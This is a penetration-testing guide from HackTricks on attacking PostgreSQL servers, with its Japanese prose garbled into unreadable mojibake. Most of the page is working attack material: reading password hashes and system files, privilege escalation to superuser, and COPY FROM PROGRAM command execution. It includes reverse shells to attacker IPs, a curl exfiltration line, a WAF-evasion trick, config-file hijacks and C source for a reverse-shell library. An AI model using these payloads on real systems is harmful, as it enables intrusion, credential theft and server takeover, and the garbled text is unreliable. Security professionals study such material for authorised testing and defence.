5432,5433 - Pentesting Postgresql
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æ å ±
PostgreSQLã¯ãªããžã§ã¯ããªã¬ãŒã·ã§ãã«ããŒã¿ããŒã¹ã·ã¹ãã ã§ããããªãŒãã³ãœãŒã¹ã§ãããã®ã·ã¹ãã ã¯SQLèšèªãå©çšããã ãã§ãªããè¿œå æ©èœã«ãã£ãŠæ¡åŒµãããŠããŸãã倿§ãªããŒã¿åãæäœãæ±ãããããéçºè ãçµç¹ã«ãšã£ãŠæ±çšæ§ã®é«ãéžæè¢ãšãªããŸãã
ããã©ã«ãããŒã: 5432ããããã®ããŒããæ¢ã«äœ¿çšäžã®å Žåãpostgresqlã¯æªäœ¿çšã®æ¬¡ã®ããŒãïŒãããã5433ïŒã䜿çšããããã§ãã
PORT STATE SERVICE
5432/tcp open pgsql
æ¥ç¶ãšåºæ¬åæ
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
Warning
\listãå®è¡ããŠrdsadminãšããããŒã¿ããŒã¹ãèŠã€ãã£ãå Žåããã㯠AWS postgresql database ã®å éšã«ããããšãæå³ããŸãã
PostgreSQL ããŒã¿ããŒã¹ãæªçšããæ¹æ³ã®è©³çްã«ã€ããŠã¯ã以äžãåç §ããŠãã ããïŒ
èªååæ
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Port scanning
this research ã«ããã°ãæ¥ç¶ã®è©Šè¡ã倱æããå Žåãdblink 㯠sqlclient_unable_to_establish_sqlconnection äŸå€ãã¹ããŒãããšã©ãŒã®èª¬æãå«ã¿ãŸãã以äžã«ãããã®è©³çްã®äŸã瀺ããŸãã
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- ãã¹ããããŠã³ããŠãã
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- ããŒããéããŠãã
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port ãéããŠãã
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
ãŸãã¯
DETAIL: FATAL: password authentication failed for user "name"
- ããŒãã¯éããŠãããããã£ã«ã¿ãããŠããŸã
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL 颿°ã§ã¯ãçŸæç¹ã§äŸå€ã®è©³çްãååŸããããšã¯ã§ããŸããããã ããPostgreSQL ãµãŒãã«çŽæ¥ã¢ã¯ã»ã¹ã§ããå Žåã¯ãå¿ èŠãªæ å ±ãååŸã§ããŸããã·ã¹ãã ããŒãã«ãããŠãŒã¶ãŒåããã¹ã¯ãŒããæœåºã§ããªãå Žåã¯ãåç¯ã§èª¬æãã wordlist attack ãå©çšããããšãæ€èšããŠãã ãããå Žåã«ãã£ãŠã¯ææãåŸãããå¯èœæ§ããããŸãã
ç¹æš©ã®åæ
ããŒã«
| Role Types | |
|---|---|
| rolsuper | ããŒã«ã¯ã¹ãŒããŒãŠãŒã¶æš©éãæã€ |
| rolinherit | ããŒã«ã¯æå±ããããŒã«ã®æš©éãèªåçã«ç¶æ¿ãã |
| rolcreaterole | ããŒã«ã¯ä»ã®ããŒã«ãäœæã§ãã |
| rolcreatedb | ããŒã«ã¯ããŒã¿ããŒã¹ãäœæã§ãã |
| rolcanlogin | ããŒã«ã¯ãã°ã€ã³ã§ãããã€ãŸãããã®ããŒã«ãã»ãã·ã§ã³éå§æã®èªèšŒèå¥åãšããŠæå®ã§ãã |
| rolreplication | ããŒã«ã¯ã¬ããªã±ãŒã·ã§ã³çšããŒã«ã§ãã¬ããªã±ãŒã·ã§ã³æ¥ç¶ãéå§ããããã¬ããªã±ãŒã·ã§ã³ã¹ããããäœæã»åé€ã§ãã |
| rolconnlimit | ãã°ã€ã³å¯èœãªããŒã«ã«å¯ŸããŠããã®å€ã¯ãã®ããŒã«ãäœæã§ããåææ¥ç¶æ°ã®æå€§å€ãèšå®ããã-1 ã¯å¶éãªããæå³ããã |
| rolpassword | ãã¹ã¯ãŒããã®ãã®ã§ã¯ãªãïŒåžžã« ******** ãšè¡šç€ºãããïŒ |
| rolvaliduntil | ãã¹ã¯ãŒãã®æå¹æéïŒãã¹ã¯ãŒãèªèšŒã«ã®ã¿äœ¿çšïŒïŒæéãªãã®å Žå㯠null |
| rolbypassrls | ããŒã«ã¯ãã¹ãŠã®è¡ã¬ãã«ã»ãã¥ãªãã£ããªã·ãŒããã€ãã¹ããã詳现㯠Section 5.8 ãåç §ã |
| rolconfig | å®è¡æèšå®å€æ°ã®ããŒã«åºæã®ããã©ã«ã |
| oid | ããŒã«ã® ID |
泚ç®ãã¹ãã°ã«ãŒã
- ãã
pg_execute_server_programã®ã¡ã³ããŒã§ããã°ãããã°ã©ã ã å®è¡ ã§ãã - ãã
pg_read_server_filesã®ã¡ã³ããŒã§ããã°ããã¡ã€ã«ã èªã¿åã ããšãã§ãã - ãã
pg_write_server_filesã®ã¡ã³ããŒã§ããã°ããã¡ã€ã«ã« æžã蟌㿠ã§ãã
Tip
Postgres ã§ã¯ããŠãŒã¶ãŒãã°ã«ãŒããããŒã« 㯠åã ã§ããã©ã®ããã«äœ¿çšãããããã°ã€ã³ãèš±å¯ãããã©ããã«ãã£ãŠæ±ããå€ããã ãã§ãã
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
ããŒãã«
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
颿°
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
ãã¡ã€ã«ã·ã¹ãã ã®æäœ
ãã£ã¬ã¯ããªãšãã¡ã€ã«ã®èªã¿åã
ãã® commit ãããå®çŸ©ããã DEFAULT_ROLE_READ_SERVER_FILES ã°ã«ãŒãïŒpg_read_server_files ãšåŒã°ããïŒã®ã¡ã³ããŒããã³ ã¹ãŒããŒãŠãŒã¶ãŒ ã¯ä»»æã®ãã¹ã§ COPY ã¡ãœããã䜿çšã§ããŸãïŒgenfile.c ã® convert_and_check_filename ãåç
§ïŒ:
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Warning
ã¹ãŒã㌠ãŠãŒã¶ãŒã§ãªããŠããCREATEROLE æš©éãããã°èªåããã®ã°ã«ãŒãã®ã¡ã³ããŒã«ã§ããŸã:
GRANT pg_read_server_files TO username;
ãã¡ã€ã«ãèªã¿åã£ãããã£ã¬ã¯ããªãåæãããããããã«äœ¿ããä»ã® postgres functionsãååšããŸãããããã䜿çšã§ããã®ã¯superusersãšæç€ºçãªæš©éãæã€ãŠãŒã¶ãŒã®ã¿ã§ã:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
ããå€ãã®é¢æ°ã¯https://www.postgresql.org/docs/current/functions-admin.htmlã§èŠã€ããããšãã§ããŸãã
åçŽãªãã¡ã€ã«æžã蟌ã¿
ãã¡ã€ã«æžã蟌ã¿ã« copy ã䜿çšã§ããã®ã¯ã¹ãŒããŒãŠãŒã¶ãŒãš**pg_write_server_files**ã®ã¡ã³ããŒã®ã¿ã§ãã
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Warning
ããªãã super user ã§ãªããŠã
CREATEROLEæš©éãæã£ãŠããã°ãèªåããã®ã°ã«ãŒãã®ã¡ã³ããŒã«ããããšãã§ããŸã:GRANT pg_write_server_files TO username;
COPY ã¯æ¹è¡æåãæ±ããªãããšãå¿ããªãã§ãã ããããã®ãããããšã base64 ãã€ããŒãã䜿çšããŠããŠããã¯ã³ã©ã€ããŒã§éãå¿
èŠããããŸãã
ãã®ææ³ã®éåžžã«éèŠãªå¶éã¯ãcopy ã¯äžéšã®ãã€ããªå€ã倿Žãããããã€ããªãã¡ã€ã«ã®æžã蟌ã¿ã«äœ¿çšã§ããªããšããç¹ã§ãã
Binary files upload
ãã ãã倧ããªãã€ããªãã¡ã€ã«ãã¢ããããŒãããããã®ä»ã®ææ³ããããŸãïŒ
Big Binary Files Upload (PostgreSQL)
Updating PostgreSQL table data via local file write
PostgreSQL ãµãŒãã®ãã¡ã€ã«ãèªã¿æžãããæš©éãããå Žåãthe PostgreSQL data directory å ã®é¢é£ãããã¡ã€ã«ããŒããäžæžãããããšã§ãµãŒãäžã®ä»»æã®ããŒãã«ãæŽæ°ã§ããŸããMore on this technique hereã
å¿ èŠãªæé :
- PostgreSQL ã®ããŒã¿ãã£ã¬ã¯ããªãååŸãã
SELECT setting FROM pg_settings WHERE name = 'data_directory';
Note: èšå®ããçŸåšã®ããŒã¿ãã£ã¬ã¯ããªãã¹ãååŸã§ããªãå Žåã¯ãSELECT version() ã¯ãšãªã§äž»èŠãª PostgreSQL ããŒãžã§ã³ãåãåãããŠãã¹ããã«ãŒããã©ãŒã¹ã§æšæž¬ã§ããŸããUnix ã® PostgreSQL ã€ã³ã¹ããŒã«ã§äžè¬çãªããŒã¿ãã£ã¬ã¯ããªãã¹ã¯ /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/ ã§ããäžè¬çãªã¯ã©ã¹ã¿å㯠main ã§ãã
- ã¿ãŒã²ããããŒãã«ã«çŽã¥ã filenode ãžã®çžå¯Ÿãã¹ãååŸãã
SELECT pg_relation_filepath('{TABLE_NAME}')
ãã®ã¯ãšãªã¯ base/3/1337 ã®ãããªå€ãè¿ããŸãããã£ã¹ã¯äžã®ãã«ãã¹ã¯ $DATA_DIRECTORY/base/3/1337ãäŸ: /var/lib/postgresql/13/main/base/3/1337 ã§ãã
lo_*颿°ã䜿ã£ãŠ filenode ãããŠã³ããŒããã
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- ã¿ãŒã²ããããŒãã«ã«çŽã¥ãããŒã¿åãååŸãã
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- PostgreSQL Filenode Editor ã䜿ã£ãŠ edit the filenodeïŒå
šãŠã®
rol*ããŒã«ãã©ã°ã 1 ã«èšå®ããŠãã«ããŒããã·ã§ã³ã«ããŸãã
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

- ç·šéãã filenode ã
lo_*颿°ã§åã¢ããããŒããããã£ã¹ã¯äžã®å ãã¡ã€ã«ãäžæžããã
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (ä»»æ) é«è² è·ãª SQL ã¯ãšãªãå®è¡ããŠã€ã³ã¡ã¢ãªã®ããŒãã«ãã£ãã·ã¥ãã¯ãªã¢ãã
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- ããã§ PostgreSQL ã®ããŒãã«å€ãæŽæ°ãããŠããã¯ãã§ãã
pg_authid ããŒãã«ãç·šéããããšã§ superadmin ã«ãªãããšãã§ããŸãã詳现㯠the following sectionã
RCE
RCE to program
Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
exec ã®äŸ:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Warning
ã¹ãŒããŒãŠãŒã¶ãŒã§ãªãå Žåã§ãã
CREATEROLEæš©éãæã£ãŠããã°ããã®ã°ã«ãŒãã®ã¡ã³ããŒã« èªåãå ãã ããšãã§ããŸã:GRANT pg_execute_server_program TO username;
ãŸã㯠multi/postgres/postgres_copy_from_program_cmd_exec ã¢ãžã¥ãŒã«ã metasploit ãã䜿çšããŠãã ããã
ãã®è匱æ§ã®è©³çŽ°ã¯ ãã ãåç
§ããŠãã ãããCVE-2019-9193 ãšããŠå ±åãããŸããããPostgres ã¯ããã æ©èœã§ããä¿®æ£ããªã ãšå®£èšããŠããŸãã
ããŒã¯ãŒããã£ã«ã¿/WAFãåé¿ã㊠COPY PROGRAM ã«å°éãã
SQLi ã®æèã§ stacked queries ãããå ŽåãWAF ã¯ãªãã©ã«ãªããŒã¯ãŒã COPY ãåé€ãŸãã¯ãããã¯ããããšããããŸããPL/pgSQL ã® DO ãããã¯å
ã§ã¹ããŒãã¡ã³ããåçã«æ§ç¯ããŠå®è¡ã§ããŸããäŸãã°ãå
é ã® C ã CHR(67) ã§çµã¿ç«ãŠãŠåçŽãªãã£ã«ã¿ãåé¿ããçµã¿ç«ãŠãã³ãã³ãã EXECUTE ããŸã:
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
ãã®ãã¿ãŒã³ã¯éçãªããŒã¯ãŒããã£ã«ã¿ãªã³ã°ãåé¿ãã€ã€ãCOPY ... PROGRAM ãä»ããŠOSã³ãã³ãå®è¡ãéæããŸããã¢ããªã±ãŒã·ã§ã³ãSQLãšã©ãŒããšã³ãŒããstacked queriesãèš±å¯ããå Žåã«ç¹ã«æçšã§ãã
PostgreSQL Languagesã«ããRCE
PostgreSQL extensionsã«ããRCE
åã®æçš¿ã§ãã€ããªãã¡ã€ã«ãã¢ããããŒãããæ¹æ³ãåŠãã ããpostgresql extensionãã¢ããããŒãããŠèªã¿èŸŒãããšã§RCEãåŸãããšã詊ããŸãã
RCE with PostgreSQL Extensions
PostgreSQLèšå®ãã¡ã€ã«ã«ããRCE
Tip
以äžã®RCEãã¯ã¿ãŒã¯ããã¹ãŠã®æé ããã¹ããããSELECTæã ãã§å®è¡ã§ãããããå¶çŽã®ããSQLiç°å¢ã§ç¹ã«æçšã§ã
PostgreSQLã®configuration fileã¯ããŒã¿ããŒã¹ãå®è¡ããŠããpostgres userã«ãã£ãŠæžã蟌ã¿å¯èœã§ãããããã£ãŠãsuperuserãšããŠãã¡ã€ã«ã·ã¹ãã ã«ãã¡ã€ã«ãæžã蟌ãããšãã§ãããã®ãã¡ã€ã«ãäžæžãã§ããŸãã
.png)
ssl_passphrase_commandã«ããRCE
More information about this technique here.
æ§æãã¡ã€ã«ã«ã¯RCEã«ã€ãªããè峿·±ã屿§ãããã€ããããŸã:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'ããŒã¿ããŒã¹ã®ç§å¯éµãžã®ãã¹ssl_passphrase_command = ''ãã©ã€ããŒããã¡ã€ã«ããã¹ã¯ãŒãïŒæå·åïŒã§ä¿è·ãããŠããå Žåãpostgresqlã¯ãã®å±æ§ã§æå®ãããã³ãã³ããå®è¡ããŸããssl_passphrase_command_supports_reload = offãã®å±æ§ãonã§ããã°ãéµããã¹ã¯ãŒãã§ä¿è·ãããŠããå Žåãpg_reload_conf()ãå®è¡ããããšãã«ãã®å±æ§ã§æå®ããã³ãã³ããå®è¡ãããŸãã
æ»æè ã¯æ¬¡ã®ããšãè¡ãå¿ èŠããããŸã:
- ãµãŒããŒãããã©ã€ããŒãããŒããã³ããã
- ããŠã³ããŒããããã©ã€ããŒãããŒãæå·åãã:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key- äžæžããã
- çŸåšã®postgresqlèšå®ããã³ããã
- äžè¿°ã®å±æ§èšå®ã§configurationãäžæžããã:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = onpg_reload_conf()ãå®è¡ãã
ãã¹ãäžã«æ°ã¥ããã®ã¯ãããã¯ç§å¯éµãã¡ã€ã«ã®æš©éã640ã§ããããšãææè ãrootã§ããããšããããŠã°ã«ãŒããssl-certãŸãã¯postgresã§ããïŒã€ãŸãpostgresãŠãŒã¶ãèªã¿åããïŒå Žåã«ã®ã¿æ©èœãããã¡ã€ã«ã¯_/var/lib/postgresql/12/main_ã«çœ®ãããŠããå¿ èŠãããããšããããšã§ãã
archive_commandã«ããRCE
詳现ïŒãã®èšå®ãšWALã«ã€ããŠïŒã¯ãã¡ã(https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3).
æ§æãã¡ã€ã«ã§æªçšå¯èœãªå¥ã®å±æ§ã¯ archive_command ã§ãã
ãããæ©èœãããã«ã¯ãarchive_mode èšå®ã 'on' ãŸã㯠'always' ã§ããå¿
èŠããããŸãããããçã§ããã°ãarchive_command ã®ã³ãã³ããäžæžãããWALïŒwrite-ahead loggingïŒæäœãä»ããŠãããå®è¡ãããããšãã§ããŸãã
äžè¬çãªæé ã¯æ¬¡ã®ãšããã§ã:
- archive_modeãæå¹ã確èªãã:
SELECT current_setting('archive_mode') archive_commandããã€ããŒãã§äžæžããããäŸ: ãªããŒã¹ã·ã§ã«:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'- èšå®ããªããŒããã:
SELECT pg_reload_conf() - archive command ãåŒã³åºã WAL æäœã匷å¶ãã:
SELECT pg_switch_wal()ãŸãã¯äžéšã® Postgres ããŒãžã§ã³ã§ã¯SELECT pg_switch_xlog()
Large Objectsã䜿ã£ãpostgresql.confã®ç·šéïŒSQLiãã¬ã³ããªãŒïŒ
è€æ°è¡ã®æžã蟌ã¿ãå¿
èŠãªå ŽåïŒäŸ: è€æ°ã®GUCãèšå®ãããªã©ïŒã¯ãPostgreSQL Large Objectsã䜿çšããŠSQLããèšå®ãäžžããšèªã¿åãäžæžãããŠãã ããããã®ææ³ã¯ãCOPY ãæ¹è¡ããã€ããªå®å
šãªæžã蟌ã¿ãæ±ããªãSQLiç¶æ³ã«æé©ã§ãã
Example (adjust the major version and path if needed, e.g. version 15 on Debian):
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');
-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
This yields reliable OS command execution via archive_command as the postgres user, provided archive_mode is enabled. In practice, setting a low archive_timeout can cause rapid invocation without requiring an explicit WAL switch.
RCE with preload libraries
More information about this technique here.
ãã®æ»æãã¯ã¿ãŒã¯ä»¥äžã®èšå®å€æ°ãæªçšããŸã:
session_preload_librariesâ ã¯ã©ã€ã¢ã³ãæ¥ç¶æã«PostgreSQLãµãŒããããŒãããã©ã€ãã©ãªãdynamic_library_pathâ PostgreSQLãµãŒããã©ã€ãã©ãªãæ€çŽ¢ãããã£ã¬ã¯ããªã®ãªã¹ãã
dynamic_library_path ã®å€ããããŒã¿ããŒã¹ãå®è¡ããŠãã postgres ãŠãŒã¶ãŒãæžã蟌ã¿å¯èœãªãã£ã¬ã¯ããªïŒäŸ: /tmp/ïŒã«èšå®ããããã«æªæã®ãã .so ãªããžã§ã¯ããã¢ããããŒãã§ããŸããæ¬¡ã«ãsession_preload_libraries 倿°ã«ãããå«ããããšã§ãPostgreSQL ãµãŒãã«æ°ããã¢ããããŒãããã©ã€ãã©ãªãããŒããããŸãã
æ»ææé :
- å
ã®
postgresql.confãããŠã³ããŒããã dynamic_library_pathã®å€ã«/tmp/ãã£ã¬ã¯ããªãå«ãããäŸ:dynamic_library_path = '/tmp:$libdir'session_preload_librariesã®å€ã«æªæã®ããã©ã€ãã©ãªåãå«ãããäŸ:session_preload_libraries = 'payload.so'SELECT version()ã¯ãšãªã§äž»èŠãª PostgreSQL ããŒãžã§ã³ã確èªãã- æ£ãã PostgreSQL ã®éçºããã±ãŒãžã䜿ã£ãŠæªæã®ããã©ã€ãã©ãªã³ãŒããã³ã³ãã€ã«ããããµã³ãã«ã³ãŒã:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
ã³ãŒãã®ã³ã³ãã€ã«:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- ã¹ããã2â3ã§äœæããæªæã®ãã
postgresql.confãã¢ããããŒãããå ã®ãã¡ã€ã«ãäžæžããã - ã¹ããã5ã§äœæãã
payload.soã/tmpãã£ã¬ã¯ããªã«ã¢ããããŒããã - ãµãŒããåèµ·åãããã
SELECT pg_reload_conf()ã¯ãšãªãå®è¡ããŠãµãŒãèšå®ããªããŒããã - 次åã®DBæ¥ç¶æã«ãªããŒã¹ã·ã§ã«æ¥ç¶ãåãåã
Postgres Privesc
CREATEROLE Privesc
Grant
According to the docs: CREATEROLE æš©éãæã€ããŒã«ã¯ãsuperuser ã§ã¯ãªãä»»æã®ããŒã«ãžã®ã¡ã³ããŒã·ãããä»äžãŸãã¯å¥å¥ªã§ããŸã.
ãããã£ãŠãCREATEROLE æš©éãããã°ãèªåèªèº«ã«ãã¡ã€ã«ã®èªã¿æžããã³ãã³ãã®å®è¡ãå¯èœã«ããïŒsuperuser ã§ã¯ãªãïŒä»ã® roles ãžã®ã¢ã¯ã»ã¹ãä»äžã§ããŸã:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
ãã¹ã¯ãŒãã®å€æŽ
ãã®ããŒã«ãæã€ãŠãŒã¶ãŒã¯ãä»ã®éã¹ãŒããŒãŠãŒã¶ãŒã®ãã¹ã¯ãŒãã倿Žããããšãã§ããŸã:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
ããŒã«ã«ãŠãŒã¶ãŒããã¹ã¯ãŒããå
¥åããã« PostgreSQL ã«ãã°ã€ã³ã§ããããšã¯ããªãäžè¬çã§ãã ãããã£ãŠãäžåºŠã³ãŒããå®è¡ããæš©éãåŸãã°ããã®æš©éãæªçšããŠ**SUPERUSER** ããŒã«ãååŸã§ããŸã:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
Tip
ããã¯éåžžã
pg_hba.confãã¡ã€ã«ã®ä»¥äžã®è¡ãåå ã§å¯èœã«ãªããŸãïŒ# "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
ALTER TABLE privesc
In this writeup ã¯ããŠãŒã¶ãŒã«ä»äžããã ALTER TABLE æš©éãæªçšã㊠Postgres GCP äžã§ privesc ãå¯èœã«ãªã£ãçµç·¯ã説æããŠããã
When you try to å¥ã®ãŠãŒã¶ãŒãããŒãã«ã®ææè ã«ããããšãããš you should get an ãšã©ãŒ preventing it, but apparently GCP gave that ãªãã·ã§ã³ãéã¹ãŒããŒãŠãŒã¶ãŒã® postgres ãŠãŒã¶ãŒã«äžããŠãã in GCP:
.png)
Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a ã€ã³ããã¯ã¹é¢æ°ãæã€ããŒãã«, the 颿°ã¯ã³ãã³ãã®äžéšãšããŠããŒãã«ææè ã®æš©éã§åŒã³åºãããã颿°ã䜿ã£ãã€ã³ããã¯ã¹ãäœæããŠãã®ããŒãã«ã®æææš©ãã¹ãŒããŒãŠãŒã¶ãŒã«äžããæªæã®ãã颿°ãå«ãããŒãã«ã§ ANALYZE ãå®è¡ããã°ãææè ã®æš©éã䜿ã£ãŠã³ãã³ããå®è¡ã§ããããã«ãªãã
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
